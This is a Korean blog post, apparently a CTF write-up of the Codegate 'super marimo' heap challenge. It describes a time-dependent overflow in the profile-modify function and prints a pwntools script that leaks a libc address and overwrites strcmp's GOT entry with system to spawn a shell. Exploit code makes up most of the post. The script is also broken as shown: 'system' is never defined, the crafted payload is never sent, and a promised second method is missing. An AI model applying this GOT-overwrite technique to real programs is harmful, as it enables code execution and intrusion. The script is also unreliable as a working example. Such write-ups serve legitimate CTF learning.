코드게이트 당시에 super marimo문제를 분석하다가
취약점도 못찾고 끝내서 아쉬워서 풀어본다.문제는 두가지 방식으로 풀어봤다.
첫번째는 strcmp got를 system으로 바꿔서 쉘을 따는 방법, 두번째는 oneshot가젯을 이용해서 푸는 방법으로 풀었다.
main함수에는 여러가지 메뉴들이 있다.
그중에서 View함수안에 있는 Modify를 하는 곳에 취약점이 있다.
확인을 해보자
32*v3으로 값을 받아준다.
그런데 v3에는 time+~~~를 해주는데 time함수는 현재 시간을 return해준다.
시간은 계속 흐른다,그럼 v3에는 흐르는 시간만큼 수가 커질 것이다.
이곳이 취약한 곳이다.이것을 이용해서 다음 구조체를 덮어씌우면 될 것이다.
.
.
처음에는 구조체를 덮어씌우려고 시도를 했는데 잘되지 않았다.
그래서 메모리를 확인을 해보니 marimo의 name과 profile의 포인터 값이 있었다.
그래서 그것을 이용해서 릭을 했다.
분석은 모두 끝났으니 익스플로잇 코드를 확인해보자....
1.use system
#!/usr/bin/python
from pwn import *
p = process('./marimo')
l = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
e = ELF('./marimo')
raw_input()
def make_marimo(name,profile):
p.recvuntil(">> ")
p.sendline("show me the marimo")
p.recvuntil(">> ")
p.sendline(name)
p.recvuntil(">> ")
p.sendline(profile)
def modify(number,profile):
p.sendline("V")
p.recvuntil(">> ")
p.sendline(number)
p.recvuntil(">> ")
p.sendline("M")
p.recvuntil(">> ")
p.sendline(profile)
p.recvuntil(">> ")
p.sendline("B")
make_marimo("0","0") #first
make_marimo("1","1") #second
sleep(2)
payload = ''
payload += "A"*56
payload += p64(e.got['srand'])
payload += p64(e.got['strcmp'])
p.recvuntil("name : ")
got = u64(p.recv(6)+"\x00\x00")
libc_addr = got - l.symbols['srand']
p.recvuntil(">> ")
p.sendline("M")
p.recvuntil(">> ")
p.sendline(p64(system)[:-1]) #sendline으로 개행까지 보내줘야하는데
p.recvuntil(">> ") #개행까지보내면 8바이트가넘음 그래서 system함수
p.sendline("B") #마지막자리 하나 자르고 개행을 넣음(0이여서 상관없심..)
p.recvuntil(">> ")
p.sendline("sh;")
p.interactive()
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
BCTF 2016 Bcloud (0) | 2018.03.15 |
---|---|
Hack.lu CTF 2014 - oreo (2) | 2018.03.10 |
HarekazeCTF 2018 - Harekaze Farm (Pwn) (0) | 2018.02.12 |
HITCON 2017 - Start (0) | 2018.02.11 |
2016 Codegate -Serial (0) | 2018.02.03 |